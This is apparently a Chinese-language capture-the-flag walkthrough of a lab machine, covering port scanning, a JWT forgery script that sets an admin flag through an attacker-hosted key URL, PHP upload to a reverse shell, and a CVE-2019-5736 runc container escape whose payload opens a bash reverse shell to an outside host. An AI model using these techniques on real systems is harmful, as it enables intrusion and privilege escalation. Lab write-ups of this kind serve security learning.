概述 (Overview)
HOST:10.10.10.230
时间: 2021-08-22
机器作者: mostwanted002
困难程度: Medium
MACHINE TAGS:
* Web
* JSON
* PHP
* Outdated Software
* File Misconfiguration
攻击链 (Kiillchain)
通过对目标服务器的开放端口进行枚举,发现其运行的 Web 服务可以进行用户注册。接着在登录返回的 JWT 数据中存在不安全业务流程,用户可以通过控制 header 和 data 段实现 JWT 篡改,从而进入后台页面利用文件上传功能成功获得立足点。
对会话机器的环境信息进行枚举,发现可以通过 sudo 进入任意容器,最终通过确认 Docker 服务版本再利用 CVE-2019-5736 漏洞完成权限提升。
枚举(Enumeration)
老样子,开局还是使用 Nmap 对目标服务器开放端口进行信息枚举:
$ nmap -p- -sV -sC -oA portscan -T4 -v 10.10.10.230
Nmap scan report for 10.10.10.230
Host is up (0.081s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: B2F904D3046B07D05F90FB6131602ED2
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 15 16:12:05 2021 -- 1 IP address (1 host up) scanned in 561.30 seconds
从返回的结果中可以获知到目标服务器是 Ubuntu 系统,仅对外暴露了两个端口(22、80)。
Port 80 - Nginx
通过浏览器进行 Web 服务的预览,发现存在登录及注册页面,尝试提交一段账户密码进行注册:
注册完成后可以使用账户进行登录,但是大致浏览了下页面内容,暂时没有看到明显的利用点:
立足点(Foothold)
转而开启 Burp 代理,尝试查看请求包中是否存在可以利用的点。在登录状态下,cookie 中会带有一段明显的 JWT 验证,尝试对其进行解包发现有两处内容值得关注:
jwt_tools - https://github.com/ticarpi/jwt_tool.git
我这里使用的是 jwt_tools 工具对 auth 参数内容进行分析,可以看到在 header 中存在私钥的文件路径,而在对应的 payload 主体部分有一个 admin_cap 参数目前值为 0。
问题来了,有没有可能这里存在业务流程乱序的情况?判断用户是否为管理员用的是 admin_cap 这个值,而对生成的 JWT 进行加、解密的方式则用的 kid 中的私钥路径。
要知道在一个正常的后端返回的 JWT 数据中,不会有私钥这类值,对其他用户是保密的、不可见的。继续使用 jwt_tools 工具的功能,修改两个参数的值,并观察用 Python 起的 Web 服务器日志。
可以看到,当我们将修改后的 JWT 发送至目标服务端后,目标服务器会根据 kid 中的连接地址去请求我本地的 .kay 文件,随后按照正常流程应该会使用私钥文件进行对数据结构的解密。
用 Python 简单写了一段脚本,用于快速验证:
import jwt
import requests
host = 'http://10.10.10.230'
def get_user(username):
privKey = b'''-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAtaXGRvgbwnZLglwOOw3TG++28cOd8Zhm5Hyii3+n3OIH4Vn2
... snip ...
-----END RSA PRIVATE KEY-----'''
header={"kid": "http://10.10.16.2/privKey.key", "alg":"RS256", "typ":"JWT"}
payload = {}
payload['username'] = username
payload['email'] = 'test@qq.com'
payload['admin_cap'] = 1
encoded = jwt.encode(payload, privKey, algorithm="RS256", headers=header)
return encoded
if __name__ == '__main__':
fuzzing = "0x584a"
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
headers = {'Cookie':'auth='+get_user(fuzzing)+'; uuid=53fffafe-07e4-4285-8f42-ca6e31389ace'}
r = requests.get(host, headers=headers, )
print(r.text)
参数 PRIVATE KEY 和文件则是在 jwt_tools 工具里随便找的,当运行脚本后,发现返回的内容中存在后台连接:
使用浏览器插件修改 cookie 参数为自 PRIVATE KEY 生成的 JWT,刷新页面后可以看到已经多出了 admin 导航:
进入路径后发现存在两个按钮,显示笔记、文件上传:
进入 notes 查看内容,发现提示中 PHP 文件的执行,说明当前站点运行的服务可能是个 PHP 站。
notes-1 admin
Need to fix config
Have to fix this issue where PHP files are being executed :/. This can be a potential security issue for the server.
随后进入上传页面上传 PHP 脚本,简单写一个命令执行:
上传成功后进行测试,脚本命令执行正常:
当然,这里也可以直接使用 php-reverse-shell.php
脚本运行后得到一个反弹 shell。
横向移动(Lateral Movement)
为了更好的进行 shell 的维持,使用了一个好用的工具 platypus 进行管理(挺好用的,作者也一直在更新维护):
Platypus 是一款支持多会话的交互式反向 Shell 管理器。 - https://platypus-reverse-shell.vercel.app/
进入交互 shell 对目标信息进行收集,发现存在一个 noah 用户账户,开始进行账户的横向移动。
$ cat /etc/passwd | grep -v nologin
root:x:0:0:root:/root:/bin/bash
... snip ...
noah:x:1000:1000:Noah:/home/noah:/bin/bash
在进行文件传递时发现目标系统中缺失 wget、curl 这种命令,但 ftp 命令是存在的。所以本地用 python 起了一个 ftp 服务,随后在目标服务器上进行文件传递。
使用传递的 linPEAS 脚本对服务器信息进行深度收集,通过网络环境和防火墙配置,推断目标服务器中安装了 Docker 服务。
通过搜索全局文件夹关键字,发现对站点的备份压缩包。
对压缩包进行解压发现存在 .ssh 证书文件夹,将私钥证书传递至 Kali 使用 noah 用户成功登录目标服务器:
www-data@thenotebook:/tmp$ tar zxvf home.tar.gz
... snip ...
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub
权限提升(Privilege Escalation)
通过查看 sudo 允许运行的权限提升命令,发现可以进去任意已 webapp-dev01 开头的容器:
Matching Defaults entries for noah on thenotebook:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
进入 webapp-dev01 容器的交互 shell,发现它里面的内容就是暴漏给外部访问的 Web 站容器:
既然涉及到 sudo 和 docker 那么优先想到的可以能是容器逃逸,或者可以进行逃逸进行本地权限提升的 CVE 漏洞。
开始收集 Docker 运行的版本:
Docker Version < 18.09.2
runC Version <= 1.0-rc6
noah@thenotebook:~$ which docker-runc
/usr/bin/docker-runc
noah@thenotebook:~$ runc --version
runc version 1.0.0~rc6+dfsg1
commit: 1.0.0~rc6+dfsg1-3
spec: 1.0.1
noah@thenotebook:~$ docker -v
Docker version 18.06.0-ce, build 0ffa825
可以看到并不是当前最新的版本,开始顺着这些信息查找利用脚本:
该漏洞利用通过在容器内覆盖和执行主机系统 runc 二进制文件来工作,所以会对服务器的环境造成一定影响,所以在实际使用的时候要认真斟酌一下。
看下脚本中的 payload 内容(现在内容改了,增强了兼容性),默认是将 shadow 文件内容读取出来所以可以修改一下。
直接修改成反弹 Shell 语句,随后用 go 进行构建,生成目标服务器环境可执行的二进制文件。
$ vim main.go
..snip...
var payload = "#!/bin/bash \n /bin/bash -i >& /dev/tcp/10.10.16.3/9900 0>&1"
..snip...
$ CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
注意这样要加 CGO_ENABLED=0,它的作用就是将动态链接库的函数编译至二进制文件。不然就会出现这种错误:
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
...sinp...
OCI runtime exec failed: exec failed: container_linux.go:348: starting container process caused "too many levels of symbolic links": unknown
OK,开始进行权限提升的操作,这里会用到三个命令行窗口。窗口一中,进入目标容器并将编译好的二进制文件传递至容器运行。随后启动窗口三进行 NC 监听。回到窗口二,再次 sudo 运行进入容器,此时主系统的 runc 将会自动运行。注意这里后面的 shell 用的/bin/sh,应该是容器环境问题导致如果是/bin/bash 的话是不会触发 POC 的。
Terminal 1
sudo /usr/bin/docker exec -it webapp-dev01 /bin/bash
wget http://10.10.16.3/main
chmod +x main
./main
Terminal 2
sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
Terminal 3
nc -nlvp 9900
自此成功完成权限提升,从 docker 容器逃逸至物理机。
复盘
快速生成一个自签证书可以使用 ssh-keygen 和 openssl 来做:
ssh-keygen -t rsa -b 4096 -m PEM -f jwtRS256.key
# Don't add passphrase
openssl rsa -in jwtRS256.key -pubout -outform PEM -out jwtRS256.key.pub
cat jwtRS256.key
cat jwtRS256.key.pub
参考
- https://github.com/carlospolop/hacktricks/tree/master/linux-unix/privilege-escalation#sudo-version
- https://blog.pentesteracademy.com/hacking-jwt-tokens-kid-claim-misuse-key-leak-e7fce9a10a9c